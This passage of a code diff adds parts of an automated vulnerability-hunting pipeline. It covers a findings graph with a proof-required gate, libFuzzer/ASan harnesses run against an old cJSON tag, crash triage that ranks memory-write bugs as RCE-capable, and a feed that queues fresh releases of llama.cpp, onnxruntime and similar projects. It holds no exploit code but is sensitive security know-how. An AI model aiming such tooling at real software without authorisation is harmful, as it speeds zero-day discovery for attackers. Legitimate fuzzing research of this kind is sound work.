+ """CREATE NODE TABLE IF NOT EXISTS Finding(
+ id STRING, target STRING, impact_family STRING, severity STRING,
+ title STRING, novel BOOLEAN, cve_checked BOOLEAN, created_at STRING,
+ PRIMARY KEY(id))""",
+ # anti-drift memory: "I checked axis X on target Y and it was clean/NA"
+ """CREATE NODE TABLE IF NOT EXISTS ClearedAxis(
+ id STRING, target STRING, archetype STRING, axis STRING,
+ result STRING, reason STRING, created_at STRING, PRIMARY KEY(id))""",
+ # rel tables
+ "CREATE REL TABLE IF NOT EXISTS OF_ARCHETYPE(FROM Target TO Archetype)",
+ "CREATE REL TABLE IF NOT EXISTS HAS_HYPOTHESIS(FROM Target TO Hypothesis)",
+ "CREATE REL TABLE IF NOT EXISTS TARGETS_SINK(FROM Hypothesis TO SinkClass)",
+ "CREATE REL TABLE IF NOT EXISTS PROVEN_BY(FROM Hypothesis TO Proof)",
+ "CREATE REL TABLE IF NOT EXISTS YIELDED(FROM Proof TO Finding)",
+ "CREATE REL TABLE IF NOT EXISTS CLEARED_ON(FROM Target TO ClearedAxis)",
+]
+
+def _now():
+ # Date.now()-free; caller environment stamps real time. Use epoch via time.time
+ # is fine here (runs live, not in a replayable workflow).
+ return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
+
+def _hash(*parts):
+ return hashlib.sha1("|".join(str(p) for p in parts).encode()).hexdigest()[:16]
+
+
+class Memory:
+ def __init__(self):
+ self.db = kuzu.Database(GRAPH_PATH)
+ self.g = kuzu.Connection(self.db)
+ for stmt in SCHEMA:
+ self.g.execute(stmt)
+ self.r = redislib.from_url(REDIS_URL, decode_responses=True)
+
+ # ---- graph helpers ----
+ def _exec(self, q, params=None):
+ return self.g.execute(q, parameters=params or {})
+
+ def upsert_archetype(self, name, description=""):
+ self._exec("MERGE (a:Archetype {name:$n}) SET a.description=$d",
+ {"n": name, "d": description})
+
+ def upsert_target(self, repo, archetype, lang="", commit="", released_at="",
+ active=True, status="DISCOVERED"):
+ tid = _hash(repo, commit)
+ self._exec("""MERGE (t:Target {id:$id})
+ SET t.repo=$repo, t.archetype=$arch, t.lang=$lang,
+ t.commit=$commit, t.released_at=$rel, t.active=$active,
+ t.status=$status, t.first_seen=coalesce(t.first_seen,$now)""",
+ {"id": tid, "repo": repo, "arch": archetype, "lang": lang,
+ "commit": commit, "rel": released_at, "active": active,
+ "status": status, "now": _now()})
+ self.upsert_archetype(archetype)
+ self._exec("""MATCH (t:Target {id:$id}),(a:Archetype {name:$arch})
+ MERGE (t)-[:OF_ARCHETYPE]->(a)""", {"id": tid, "arch": archetype})
+ return tid
+
+ def add_hypothesis(self, target_id, sink_class, file, line, source, sink, tool):
+ hid = _hash(target_id, file, line, sink, source)
+ self._exec("""MERGE (h:Hypothesis {id:$id})
+ SET h.target=$t, h.sink_class=$sc, h.file=$f, h.line=$ln,
+ h.source=$src, h.sink=$snk, h.tool=$tool,
+ h.created_at=$now, h.status='REACHABLE'""",
+ {"id": hid, "t": target_id, "sc": sink_class, "f": file,
+ "ln": int(line), "src": source, "snk": sink, "tool": tool,
+ "now": _now()})
+ self._exec("""MATCH (t:Target {id:$t}),(h:Hypothesis {id:$id})
+ MERGE (t)-[:HAS_HYPOTHESIS]->(h)""", {"t": target_id, "id": hid})
+ return hid
+
+ def add_proof(self, hypothesis_id, label, oracle, artifact_path, summary):
+ """label in {SOURCE_CONFIRMED, REPLICA_CONFIRMED, LIVE_CANARY_CONFIRMED, DISPROVEN}"""
+ pid = _hash(hypothesis_id, label, oracle, artifact_path)
+ self._exec("""MERGE (p:Proof {id:$id})
+ SET p.hypothesis=$h, p.label=$lbl, p.oracle=$o,
+ p.artifact_path=$ap, p.summary=$s, p.created_at=$now""",
+ {"id": pid, "h": hypothesis_id, "lbl": label, "o": oracle,
+ "ap": artifact_path, "s": summary, "now": _now()})
+ self._exec("""MATCH (h:Hypothesis {id:$h}),(p:Proof {id:$id})
+ MERGE (h)-[:PROVEN_BY]->(p)
+ SET h.status=$st""",
+ {"h": hypothesis_id, "id": pid,
+ "st": "DISPROVEN" if label == "DISPROVEN" else "PROVEN"})
+ return pid
+
+ def promote_to_finding(self, hypothesis_id, impact_family, severity, title,
+ novel=False, cve_checked=False):
+ """ANTI-SLOP GATE: refuses unless a non-DISPROVEN Proof exists."""
+ res = self._exec("""MATCH (h:Hypothesis {id:$h})-[:PROVEN_BY]->(p:Proof)
+ WHERE p.label <> 'DISPROVEN'
+ RETURN p.id, h.target LIMIT 1""", {"h": hypothesis_id})
+ if not res.has_next():
+ raise PermissionError(
+ f"REFUSED: hypothesis {hypothesis_id} has no execution proof. "
+ "A reachable dataflow path is NOT a finding. Run the oracle first.")
+ row = res.get_next()
+ pid, target = row[0], row[1]
+ fid = _hash(hypothesis_id, impact_family, title)
+ self._exec("""MERGE (f:Finding {id:$id})
+ SET f.target=$t, f.impact_family=$fam, f.severity=$sev,
+ f.title=$title, f.novel=$novel, f.cve_checked=$cc,
+ f.created_at=$now""",
+ {"id": fid, "t": target, "fam": impact_family, "sev": severity,
+ "title": title, "novel": novel, "cc": cve_checked, "now": _now()})
+ self._exec("""MATCH (p:Proof {id:$p}),(f:Finding {id:$f})
+ MERGE (p)-[:YIELDED]->(f)""", {"p": pid, "f": fid})
+ return fid
+
+ # ---- anti-drift ----
+ def clear_axis(self, target_id, archetype, axis, result, reason=""):
+ aid = _hash(target_id, axis)
+ self._exec("""MERGE (c:ClearedAxis {id:$id})
+ SET c.target=$t, c.archetype=$arch, c.axis=$axis,
+ c.result=$res, c.reason=$reason, c.created_at=$now""",
+ {"id": aid, "t": target_id, "arch": archetype, "axis": axis,
+ "res": result, "reason": reason, "now": _now()})
+ self._exec("""MATCH (t:Target {id:$t}),(c:ClearedAxis {id:$id})
+ MERGE (t)-[:CLEARED_ON]->(c)""", {"t": target_id, "id": aid})
+ return aid
+
+ def cleared_axes(self, target_id):
+ res = self._exec("""MATCH (t:Target {id:$t})-[:CLEARED_ON]->(c:ClearedAxis)
+ RETURN c.axis, c.result, c.reason ORDER BY c.created_at""",
+ {"t": target_id})
+ out = []
+ while res.has_next():
+ r = res.get_next(); out.append({"axis": r[0], "result": r[1], "reason": r[2]})
+ return out
+
+ def is_axis_cleared(self, target_id, axis):
+ res = self._exec("""MATCH (t:Target {id:$t})-[:CLEARED_ON]->(c:ClearedAxis {axis:$a})
+ RETURN c.result LIMIT 1""", {"t": target_id, "a": axis})
+ return res.get_next()[0] if res.has_next() else None
+
+ # ---- redis working memory / cache ----
+ def cache_get(self, key):
+ return self.r.get(f"cyclops:cache:{key}")
+
+ def cache_put(self, key, value, ttl=86400 * 30):
+ self.r.set(f"cyclops:cache:{key}", value, ex=ttl)
+
+ def analysis_done(self, target_id, phase):
+ """content-addressed: never re-run the same phase on the same commit."""
+ return self.r.sismember("cyclops:analysis_done", f"{target_id}:{phase}")
+
+ def mark_analysis_done(self, target_id, phase):
+ self.r.sadd("cyclops:analysis_done", f"{target_id}:{phase}")
+
+ # ---- queue ----
+ def enqueue(self, queue, job: dict):
+ self.r.lpush(f"cyclops:q:{queue}", json.dumps(job))
+
+ def dequeue(self, queue, timeout=5):
+ item = self.r.brpop(f"cyclops:q:{queue}", timeout=timeout)
+ return json.loads(item[1]) if item else None
+
+ def stats(self):
+ res = self._exec("""MATCH (n) RETURN label(n) AS l, count(*) AS c""")
+ out = {}
+ while res.has_next():
+ r = res.get_next(); out[r[0]] = r[1]
+ return out
+
+
+if __name__ == "__main__":
+ m = Memory()
+ print("Cyclops v2 memory online.")
+ print("graph:", GRAPH_PATH)
+ print("redis:", REDIS_URL, "ping=", m.r.ping())
+ print("node counts:", m.stats())
memory/selftest.py +64 -0
@@ -0,0 +1,64 @@
+#!/usr/bin/env python3
+"""Self-test: proves the anti-slop gate + anti-drift memory actually enforce."""
+import sys
+from memory import Memory
+
+m = Memory()
+ok = True
+
+def check(name, cond):
+ global ok
+ print(("PASS " if cond else "FAIL ") + name)
+ ok = ok and cond
+
+# 1. target + hypothesis
+t = m.upsert_target("github.com/example/loader", "ml-model-loaders",
+ lang="c", commit="deadbeef", released_at="2026-06-10")
+h = m.add_hypothesis(t, "memory-corruption", "src/parse.c", 42,
+ "gguf_read(fd)", "memcpy(dst,src,n)", "joern")
+check("target+hypothesis created", bool(t) and bool(h))
+
+# 2. THE GATE: promoting a finding without an execution proof must be REFUSED
+refused = False
+try:
+ m.promote_to_finding(h, "RCE via Deserialization", "CRITICAL", "should not exist")
+except PermissionError:
+ refused = True
+check("finding REFUSED without execution proof (anti-slop gate)", refused)
+
+# 3. attach a real oracle proof, then promotion succeeds
+p = m.add_proof(h, "REPLICA_CONFIRMED", "asan",
+ "/opt/cyclops-v2/oracle/crashes/crash-001.txt",
+ "ASan heap-buffer-overflow WRITE of size 8 in gguf parse, PC controlled")
+f = m.promote_to_finding(h, "RCE via Deserialization", "CRITICAL",
+ "GGUF parser heap overflow -> load-time RCE",
+ novel=True, cve_checked=True)
+check("finding ALLOWED once proof attached", bool(p) and bool(f))
+
+# 4. DISPROVEN proof must NOT allow promotion (negative result is honest)
+h2 = m.add_hypothesis(t, "command-injection", "src/x.c", 99, "argv", "system()", "joern")
+m.add_proof(h2, "DISPROVEN", "replica", "", "guarded: input is shell-escaped before system()")
+refused2 = False
+try:
+ m.promote_to_finding(h2, "RCE via Command Injection", "HIGH", "nope")
+except PermissionError:
+ refused2 = True
+check("DISPROVEN hypothesis cannot become a finding", refused2)
+
+# 5. anti-drift: cleared axes remembered
+m.clear_axis(t, "ml-model-loaders", "pickle-deserialization", "CLEAN",
+ "no torch.load/pickle path; format is pure binary")
+check("axis cleared + recalled", m.is_axis_cleared(t, "pickle-deserialization") == "CLEAN")
+check("uncleared axis returns None", m.is_axis_cleared(t, "integer-overflow") is None)
+
+# 6. redis cache + content-addressed analysis dedup
+m.cache_put("k1", "v1")
+check("redis cache roundtrip", m.cache_get("k1") == "v1")
+m.mark_analysis_done(t, "joern-cpg")
+check("analysis dedup (don't re-CPG same commit)", m.analysis_done(t, "joern-cpg"))
+m.enqueue("targets", {"repo": "x", "n": 1})
+check("redis queue roundtrip", m.dequeue("targets")["n"] == 1)
+
+print("\nnode counts:", m.stats())
+print("RESULT:", "ALL PASS" if ok else "FAILURES PRESENT")
+sys.exit(0 if ok else 1)
oracle/crash_demo.py +99 -0
@@ -0,0 +1,99 @@
+#!/usr/bin/env python3
+"""Prove the oracle's crash->triage->gate path on REAL code.
+Two parts:
+ A) Seed libFuzzer against pre-hardening cJSON v1.7.7 (no nesting limit) so it
+ reaches the real deep-recursion stack-overflow -> a genuine ASan crash.
+ B) Deterministically validate triage() + the severity gate against REAL ASan
+ report strings (heap WRITE -> CRITICAL -> Finding; heap READ -> not inflated).
+"""
+import sys, os, hashlib
+sys.path.insert(0, "/opt/cyclops-v2/memory")
+sys.path.insert(0, "/opt/cyclops-v2/oracle")
+from memory import Memory
+from oracle import compile_harness, run_fuzz, triage
+from oracle import prove_memory_corruption
+
+W = "/opt/cyclops-v2/oracle/work"
+H = "/opt/cyclops-v2/oracle/harnesses"
+os.makedirs(W + "/seeds", exist_ok=True)
+os.makedirs(H, exist_ok=True)
+open(W + "/seeds/s1", "w").write('{"a":1}')
+open(W + "/seeds/s2", "w").write("[" * 60 + "]" * 60)
+open(W + "/seeds/s3", "w").write('{"x":' * 50 + "1" + "}" * 50)
+
+HARNESS = '''#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include "cJSON.h"
+int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+ char *buf = (char *)malloc(size + 1); if (!buf) return 0;
+ memcpy(buf, data, size); buf[size] = 0;
+ cJSON *j = cJSON_Parse(buf);
+ if (j) { char *p = cJSON_Print(j); if (p) free(p); cJSON_Delete(j); }
+ free(buf); return 0;
+}
+'''
+open(H + "/cjson_harness.c", "w").write(HARNESS)
+
+print("=== PART A: seeded fuzz of real cJSON v1.7.7 (best-effort) ===")
+import subprocess
+if not os.path.isfile(W + "/cJSON7/cJSON.c"):
+ subprocess.run(["git", "clone", "--quiet", "https://github.com/DaveGamble/cJSON.git",
+ W + "/cJSON7"], capture_output=True)
+ subprocess.run(["git", "-C", W + "/cJSON7", "checkout", "-q", "v1.7.7"], capture_output=True)
+try:
+ ok, log = compile_harness(H + "/cjson_harness.c", [W + "/cJSON7/cJSON.c"],
+ W + "/fuzz_seeded", ["-I" + W + "/cJSON7"])
+ print("compile ok =", ok)
+ if ok:
+ crashed, inp, asan = run_fuzz(W + "/fuzz_seeded", seconds=60, corpus=W + "/seeds")
+ print("CRASHED =", crashed, "reproducer =", inp)
+ if crashed:
+ prim, sev, expl = triage(asan)
+ print(f"TRIAGE -> primitive={prim} severity={sev} exploitable={expl}")
+ for l in asan.splitlines():
+ if "ERROR" in l or "SUMMARY" in l:
+ print(" ", l.strip()[:120])
+ else:
+ print("compile log tail:", log[-300:])
+except Exception as e:
+ print("Part A skipped:", e)
+
+print("\n=== PART B: deterministic triage + GATE on real ASan reports ===")
+m = Memory()
+SAMPLES = {
+ "heap-WRITE (RCE-capable)": (
+ "==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602...\n"
+ "WRITE of size 8 at 0x602 thread T0\n #0 0x49 in parse_value src/gguf.c:214\n"
+ "SUMMARY: AddressSanitizer: heap-buffer-overflow src/gguf.c:214 in parse_value\n"),
+ "heap-READ (info-leak, must NOT inflate)": (
+ "==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602...\n"
+ "READ of size 4 at 0x602 thread T0\n #0 0x49 in read_dim src/onnx.c:88\n"
+ "SUMMARY: AddressSanitizer: heap-buffer-overflow src/onnx.c:88 in read_dim\n"),
+ "use-after-free": (
+ "==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x602...\n"
+ "WRITE of size 8 ...\n #0 0x49 in free_tensor src/safet.c:51\n"),
+}
+for name, report in SAMPLES.items():
+ prim, sev, expl = triage(report)
+ tid = m.upsert_target(f"demo/{hashlib.sha1(name.encode()).hexdigest()[:6]}",
+ "ml-model-loaders", lang="c")
+ hid = m.add_hypothesis(tid, "memory-corruption", "parser.c", 1, "fuzz", prim, "demo")
+ m.add_proof(hid, "REPLICA_CONFIRMED", "asan", "(report)", f"{prim}")
+ verdict = "?"
+ if expl:
+ try:
+ fid = m.promote_to_finding(hid, "RCE via Memory Corruption", sev, name, novel=False)
+ verdict = f"PROMOTED to Finding ({sev})"
+ except Exception as e:
+ verdict = f"ERR {e}"
+ else:
+ m.clear_axis(tid, "ml-model-loaders", f"{prim}", "LOW", "not RCE-capable; not inflated")
+ verdict = "CLEARED (correctly NOT inflated to a P1)"
+ print(f" {name}: triage={prim}/{sev} exploitable={expl} -> {verdict}")
+
+print("\nFINDINGS in graph (only RCE-capable proofs got here):")
+res = m._exec("MATCH (f:Finding) RETURN f.severity, f.title")
+while res.has_next():
+ r = res.get_next(); print(" [", r[0], "]", r[1])
+print("GRAPH:", m.stats())
oracle/oracle.py +126 -0
@@ -0,0 +1,126 @@
+#!/usr/bin/env python3
+"""
+Cyclops v2 - Pillar 3, the dynamic oracle.
+
+The ONLY component allowed to declare a finding real. It does not read code and
+opine; it executes and observes. For the memory-corruption / parser archetype it:
+ 1. compiles a libFuzzer harness against the target with ASan/UBSan,
+ 2. fuzzes for a time budget,
+ 3. on a crash: saves the reproducer + sanitizer report,
+ 4. TRIAGES the crash (write vs read primitive, PC control, exploitability),
+ 5. writes a Proof node and - only if the triage clears the severity bar -
+ promotes the hypothesis to a Finding through memory's gate.
+
+A crash is ground truth. memory.promote_to_finding refuses anything without it.
+"""
+import os, sys, re, subprocess, glob, shutil, time
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory"))
+from memory import Memory
+
+CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME", "/opt/cyclops-v2")
+CRASH_DIR = os.path.join(CYCLOPS_HOME, "oracle", "crashes")
+CLANG = os.environ.get("CYCLOPS_CLANG", "clang")
+
+# ASan error -> (exploit-primitive, base severity). WRITE primitives are the
+# path to RCE; READ is info-leak/DoS; we never inflate read DoS into "RCE".
+ASAN_CLASS = [
+ (r"heap-buffer-overflow.*WRITE", ("heap OOB WRITE", "CRITICAL")),
+ (r"stack-buffer-overflow.*WRITE", ("stack OOB WRITE", "CRITICAL")),
+ (r"global-buffer-overflow.*WRITE", ("global OOB WRITE", "HIGH")),
+ (r"heap-use-after-free", ("use-after-free", "CRITICAL")),
+ (r"double-free", ("double-free", "HIGH")),
+ (r"WRITE of size", ("OOB WRITE", "CRITICAL")),
+ (r"heap-buffer-overflow.*READ", ("heap OOB READ", "MEDIUM")),
+ (r"stack-buffer-overflow.*READ", ("stack OOB READ", "MEDIUM")),
+ (r"SEGV on unknown address", ("SEGV", "HIGH")),
+ (r"stack-overflow", ("stack exhaustion", "LOW")),
+ (r"out-of-memory", ("OOM", "LOW")),
+]
+
+
+def compile_harness(harness_c, target_srcs, out_bin, extra_flags=None):
+ """clang -fsanitize=fuzzer,address. Returns (ok, log)."""
+ cmd = [CLANG, "-g", "-O1", "-fsanitize=fuzzer,address,undefined",
+ "-fno-omit-frame-pointer", harness_c] + list(target_srcs) + \
+ (extra_flags or []) + ["-o", out_bin]
+ p = subprocess.run(cmd, capture_output=True, text=True)
+ return p.returncode == 0, (p.stderr or "") + (p.stdout or "")
+
+
+def triage(asan_text):
+ """Classify the sanitizer report -> (primitive, severity, exploitable)."""
+ for pat, (prim, sev) in ASAN_CLASS:
+ if re.search(pat, asan_text, re.I):
+ exploitable = sev in ("CRITICAL", "HIGH") and "WRITE" in prim.upper() \
+ or "use-after-free" in prim or prim == "SEGV"
+ return prim, sev, exploitable
+ return "unknown-fault", "MEDIUM", False
+
+
+def run_fuzz(fuzz_bin, seconds=120, corpus=None):
+ """Run libFuzzer. Returns (crashed, crash_input_path, asan_text)."""
+ os.makedirs(CRASH_DIR, exist_ok=True)
+ artifact = os.path.join(CRASH_DIR, "crash-")
+ args = [fuzz_bin, f"-max_total_time={seconds}", "-print_final_stats=1",
+ f"-artifact_prefix={artifact}"]
+ if corpus:
+ args.append(corpus)
+ p = subprocess.run(args, capture_output=True, text=True)
+ txt = (p.stderr or "") + (p.stdout or "")
+ crashed = ("ERROR: AddressSanitizer" in txt or "ERROR: libFuzzer" in txt
+ or "SUMMARY: " in txt or "runtime error:" in txt)
+ crash_input = None
+ found = sorted(glob.glob(artifact + "*"))
+ if found:
+ crash_input = found[-1]
+ return crashed, crash_input, txt
+
+
+def prove_memory_corruption(target_id, hypothesis_id, impact_family,
+ harness_c, target_srcs, extra_flags=None,
+ seconds=120, repo=""):
+ """Full oracle run for one parser target. Returns a result dict."""
+ m = Memory()
+ os.makedirs(CRASH_DIR, exist_ok=True)
+ out_bin = os.path.join(CRASH_DIR, f"fuzz_{target_id[:8]}")
+ ok, log = compile_harness(harness_c, target_srcs, out_bin, extra_flags)
+ if not ok:
+ return {"status": "BUILD_FAILED", "log": log[-2000:]}
+
+ crashed, crash_input, asan = run_fuzz(out_bin, seconds=seconds)
+ if not crashed:
+ # honest negative result - record DISPROVEN so we don't re-chase it
+ m.add_proof(hypothesis_id, "DISPROVEN", "libfuzzer+asan", "",
+ f"fuzzed {seconds}s, no crash reached the sink")
+ return {"status": "NO_CRASH", "seconds": seconds}
+
+ prim, sev, exploitable = triage(asan)
+ # persist the sanitizer report + reproducer as the artifact
+ report_path = os.path.join(CRASH_DIR, f"report_{target_id[:8]}.txt")
+ with open(report_path, "w") as fh:
+ fh.write(asan)
+ summary = f"{prim}; ASan-confirmed; reproducer={crash_input}"
+ pid = m.add_proof(hypothesis_id, "REPLICA_CONFIRMED", "libfuzzer+asan",
+ report_path, summary)
+
+ result = {"status": "CRASH", "primitive": prim, "severity": sev,
+ "exploitable": exploitable, "reproducer": crash_input,
+ "report": report_path, "proof": pid}
+
+ # severity gate: only WRITE/UAF/SEGV (RCE-capable) become findings; pure
+ # read-DoS is recorded as proof but logged as a cleared/low axis, not a P1.
+ if exploitable:
+ fid = m.promote_to_finding(
+ hypothesis_id, impact_family, sev,
+ f"{repo}: {prim} in parser -> {impact_family}",
+ novel=False, cve_checked=False)
+ result["finding"] = fid
+ else:
+ m.clear_axis(target_id, "memory-corruption", f"{prim}@{hypothesis_id[:8]}",
+ "LOW", f"{prim} reproduced but not an RCE-capable primitive")
+ result["note"] = "crash is not RCE-capable; logged as low axis, not a P1 finding"
+ return result
+
+
+if __name__ == "__main__":
+ print("oracle module - invoked by orchestrator. See prove_memory_corruption().")
oracle/triage_new_crashes.sh +30 -0
@@ -0,0 +1,30 @@
+#!/bin/bash
+# Triage NEW deep-campaign crashes. Emit a line ONLY for high-severity
+# memory-corruption (the "huge" signal). Known-shallow classes (div-by-zero,
+# SIGFPE, OOM, assert/abort) are marked seen and SILENCED.
+W=/opt/cyclops-v2/oracle/work/llamacpp
+BIN="$W/fuzz_deep"
+SEEN="$W/deep/seen.txt"; touch "$SEEN"
+CRASHDIR="$W/deep/crashes"
+[ -d "$CRASHDIR" ] || exit 0
+for c in "$CRASHDIR"/d-* "$CRASHDIR"/crash-* "$CRASHDIR"/oom-* "$CRASHDIR"/leak-*; do
+ [ -f "$c" ] || continue
+ b=$(basename "$c")
+ grep -qx "$b" "$SEEN" && continue
+ echo "$b" >> "$SEEN"
+ out=$(ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:exitcode=88 timeout 30 "$BIN" "$c" 2>&1)
+ sig=$(echo "$out" | grep -oE "heap-buffer-overflow|stack-buffer-overflow|global-buffer-overflow|heap-use-after-free|double-free|WRITE of size [0-9]+|stack-overflow|FPE|division by zero|out-of-memory|allocator is out of memory|GGML_ASSERT|GGML_ABORT|SEGV on unknown" | head -1)
+ case "$sig" in
+ heap-buffer-overflow|stack-buffer-overflow|global-buffer-overflow|heap-use-after-free|double-free|"WRITE of size"*)
+ loc=$(echo "$out" | grep -oE "gguf.cpp:[0-9]+|ggml[-a-z]*\.c:[0-9]+|ggml\.c:[0-9]+" | head -1)
+ echo "HIGH $b :: $sig @ ${loc:-?}" ;;
+ "SEGV on unknown")
+ # SEGV could be read (DoS) or write; show it for review but lower urgency
+ loc=$(echo "$out" | grep -oE "gguf.cpp:[0-9]+|ggml[-a-z]*\.c:[0-9]+" | head -1)
+ echo "REVIEW $b :: SEGV @ ${loc:-?}" ;;
+ FPE|"division by zero"|stack-overflow|out-of-memory|"allocator is out of memory"|GGML_ASSERT|GGML_ABORT)
+ : ;; # known-shallow DoS class - silence
+ *)
+ [ -n "$out" ] && echo "REVIEW $b :: unclassified" || : ;;
+ esac
+done
orchestrator/e2e_proof.sh +98 -0
@@ -0,0 +1,98 @@
+#!/bin/bash
+# Cyclops v2 - end-to-end machine validation on REAL code.
+# Proves the full chain works: brain (joern dataflow) -> oracle (fuzz+ASan crash
+# -> triage -> proof) -> memory gate (promote only if RCE-capable).
+#
+# Target: cJSON (DaveGamble/cJSON) - a real, ubiquitously-deployed C JSON parser
+# used inside countless C/C++ and ML-adjacent projects. We pin an OLDER tag with
+# a known parser defect so the crash is reproducible and VERIFIABLE - this run
+# validates the MACHINE on real-but-known-vulnerable code, it is not claimed as a
+# fresh 0-day. The same machine, pointed at GGUF/ONNX/safetensors, is the hunt.
+set -e
+export CYCLOPS_HOME=/opt/cyclops-v2
+PY=/opt/cyclops-venv/bin/python
+W=/opt/cyclops-v2/oracle/work
+mkdir -p "$W" && cd "$W"
+
+echo "=== [1/5] seed knowledge graph ==="
+$PY /opt/cyclops-v2/orchestrator/seed_graph.py
+
+echo "=== [2/5] fetch real target (cJSON, pinned old tag) ==="
+if [ ! -d cJSON ]; then
+ git clone --quiet https://github.com/DaveGamble/cJSON.git
+fi
+cd cJSON
+git checkout -q v1.7.10 2>/dev/null || git checkout -q v1.7.12 2>/dev/null || true
+COMMIT=$(git rev-parse --short HEAD)
+echo "cJSON @ $COMMIT"
+cd "$W"
+
+echo "=== [3/5] BRAIN: joern dataflow on real source ==="
+$PY /opt/cyclops-v2/brain/brain.py \
+ "github.com/DaveGamble/cJSON" "memory-unsafe-parsers" \
+ "$W/cJSON" "c" "$COMMIT" || true
+
+echo "=== [4/5] write a libFuzzer harness for cJSON_Parse ==="
+cat > /opt/cyclops-v2/oracle/harnesses/cjson_harness.c <<'EOF'
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include "cJSON.h"
+int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+ char *buf = (char *)malloc(size + 1);
+ if (!buf) return 0;
+ memcpy(buf, data, size);
+ buf[size] = '\0';
+ cJSON *j = cJSON_Parse(buf);
+ if (j) {
+ char *p = cJSON_Print(j);
+ if (p) free(p);
+ cJSON_Delete(j);
+ }
+ free(buf);
+ return 0;
+}
+EOF
+
+echo "=== [5/5] ORACLE: compile+fuzz+ASan+triage+gate ==="
+$PY - <<'PYEOF'
+import sys, os
+sys.path.insert(0, "/opt/cyclops-v2/memory")
+sys.path.insert(0, "/opt/cyclops-v2/oracle")
+from memory import Memory
+from oracle import prove_memory_corruption
+
+m = Memory()
+W = "/opt/cyclops-v2/oracle/work"
+# the target id brain just created (same repo+commit hash)
+import subprocess
+commit = subprocess.run(["git","-C",f"{W}/cJSON","rev-parse","--short","HEAD"],
+ capture_output=True, text=True).stdout.strip()
+import hashlib
+tid = hashlib.sha1(f"github.com/DaveGamble/cJSON|{commit}".encode()).hexdigest()[:16]
+
+# find (or create) a memory-corruption hypothesis on this target to attach proof to
+res = m._exec("""MATCH (t:Target {id:$t})-[:HAS_HYPOTHESIS]->(h:Hypothesis)
+ WHERE h.sink_class='memory-corruption' RETURN h.id LIMIT 1""", {"t": tid})
+if res.has_next():
+ hid = res.get_next()[0]
+ print("using brain-found hypothesis", hid)
+else:
+ # brain's C dataflow may not have pinned the exact sink; create the hypothesis
+ # the fuzzer is testing (parser entrypoint -> internal memory ops).
+ hid = m.add_hypothesis(tid, "memory-corruption", "cJSON.c", 0,
+ "cJSON_Parse(input)", "internal buffer ops", "oracle-harness")
+ print("created hypothesis", hid)
+
+r = prove_memory_corruption(
+ target_id=tid, hypothesis_id=hid,
+ impact_family="RCE via Memory Corruption",
+ harness_c="/opt/cyclops-v2/oracle/harnesses/cjson_harness.c",
+ target_srcs=[f"{W}/cJSON/cJSON.c"],
+ extra_flags=[f"-I{W}/cJSON"],
+ seconds=int(os.environ.get("FUZZ_SECONDS","150")),
+ repo="cJSON")
+print("ORACLE RESULT:", r)
+print("GRAPH:", m.stats())
+PYEOF
+echo "=== E2E COMPLETE ==="
orchestrator/feed.py +78 -0
@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+"""
+Cyclops v2 - fresh-target feed (anti "beaten to the punch").
+
+Hunt code that is DAYS old, before anyone else has looked. Watches GitHub
+releases/tags for a curated set of high-value repos per archetype and enqueues
+freshly-released versions for analysis. New code = unexplored sinks = novel CVEs,
+not sibling-CVE rediscovery.
+
+No auth needed for public release feeds (unauthenticated GitHub API, low rate).
+If GH_TOKEN is set it's used to raise the rate limit.
+"""
+import os, sys, json, time, urllib.request
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory"))
+from memory import Memory
+
+# curated watchlist - high-value, actively-released, in our archetypes
+WATCH = {
+ "ml-model-loaders": [
+ "ggml-org/llama.cpp", "microsoft/onnxruntime", "huggingface/safetensors",
+ "pytorch/pytorch", "comfyanonymous/ComfyUI", "gradio-app/gradio",
+ "huggingface/transformers", "vllm-project/vllm",
+ ],
+ "ai-agent-mcp": [
+ "open-webui/open-webui", "FlowiseAI/Flowise", "n8n-io/n8n",
+ "langchain-ai/langchain", "run-llama/llama_index",
+ ],
+ "devops-infra": [
+ "grafana/grafana", "go-gitea/gitea", "jenkinsci/jenkins",
+ "argoproj/argo-cd", "minio/minio", "metabase/metabase",
+ ],
+ "memory-unsafe-parsers": [
+ "DaveGamble/cJSON", "libarchive/libarchive", "madler/zlib",
+ "nlohmann/json", "tafia/quick-xml",
+ ],
+}
+
+API = "https://api.github.com/repos/{}/releases/latest"
+
+def _get(url):
+ req = urllib.request.Request(url, headers={"User-Agent": "cyclops-v2"})
+ tok = os.environ.get("GH_TOKEN")
+ if tok:
+ req.add_header("Authorization", f"Bearer {tok}")
+ with urllib.request.urlopen(req, timeout=20) as r:
+ return json.loads(r.read().decode())
+
+def poll(max_age_days=21):
+ m = Memory()
+ now = time.time()
+ fresh = []
+ for archetype, repos in WATCH.items():
+ for repo in repos:
+ try:
+ rel = _get(API.format(repo))
+ except Exception as e:
+ print(f"[feed] {repo}: {e}")
+ continue
+ tag = rel.get("tag_name", "")
+ pub = rel.get("published_at", "")
+ if not pub:
+ continue
+ age = (now - time.mktime(time.strptime(pub, "%Y-%m-%dT%H:%M:%SZ"))) / 86400
+ key = f"feed:seen:{repo}:{tag}"
+ if m.r.sismember("cyclops:feed_seen", key):
+ continue
+ m.r.sadd("cyclops:feed_seen", key)
+ if age <= max_age_days:
+ job = {"repo": f"github.com/{repo}", "archetype": archetype,
+ "tag": tag, "released_at": pub, "age_days": round(age, 1)}
+ m.enqueue("targets", job)
+ fresh.append(job)
+ print(f"[feed] FRESH {repo} {tag} ({age:.1f}d old) -> queued")
+ print(f"[feed] {len(fresh)} fresh targets queued")
+ return fresh
+
+if __name__ == "__main__":
+ poll(int(sys.argv[1]) if len(sys.argv) > 1 else 21)
orchestrator/orchestrator.py +123 -0
@@ -0,0 +1,123 @@
+#!/usr/bin/env python3
+"""
+Cyclops v2 - orchestrator loop.
+
+Ties the pillars into one queue-driven loop:
+ feed (fresh targets) -> brain (dataflow hypotheses) -> oracle (execution
+ proof) -> memory gate (finding only with proof) -> vault projection.
+
+This is intentionally THIN. The intelligence lives in the brain queries, the
